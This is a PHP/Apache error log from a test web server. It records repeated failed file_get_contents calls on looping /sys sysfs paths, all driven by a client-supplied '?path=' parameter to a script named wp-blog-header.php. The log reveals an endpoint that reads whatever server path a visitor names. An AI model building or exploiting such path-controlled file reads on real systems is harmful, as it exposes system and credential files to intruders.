[Thu Mar 26 12:01:41.519054 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ec
[Thu Mar 26 12:01:42.043501 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:01:45.823994 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:01:48.379654 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 12:01:50.491240 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:aa
[Thu Mar 26 12:01:54.844115 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:01:55.324744 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:cc
[Thu Mar 26 12:02:00.116025 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 12:02:02.770551 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:02:03.297498 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:02:04.875590 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ea
[Thu Mar 26 12:02:11.252223 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:fe
[Thu Mar 26 12:02:12.764981 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ec
[Thu Mar 26 12:02:17.551653 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:aa
[Thu Mar 26 12:02:23.404416 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ac
[Thu Mar 26 12:02:25.043477 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 12:02:26.122794 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:02:28.989340 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:02:30.602261 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:02:31.609682 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:be
[Thu Mar 26 12:02:35.366414 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ee
[Thu Mar 26 12:02:36.948476 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:da
[Thu Mar 26 12:02:37.373916 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ec
[Thu Mar 26 12:02:48.276191 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ec
[Thu Mar 26 12:02:53.699221 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 12:02:55.263790 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:de
[Thu Mar 26 12:02:55.733132 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:be
[Thu Mar 26 12:02:56.813070 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 12:02:58.407702 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:bc
[Thu Mar 26 12:03:00.536977 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ac
[Thu Mar 26 12:03:03.150406 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ae
[Thu Mar 26 12:03:08.487096 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ba
[Thu Mar 26 12:03:12.672163 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:03:15.932220 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 12:03:20.157026 2026] [php:warn] [pid 3107073] [client 74.7.241.26:49480] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 12:03:23.636138 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ac
[Thu Mar 26 12:03:24.160806 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:03:28.453071 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 12:03:31.550114 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ba
[Thu Mar 26 12:03:33.156750 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ba
[Thu Mar 26 12:03:33.698787 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:03:34.761988 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:03:35.273755 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce
[Thu Mar 26 12:03:39.542285 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ac
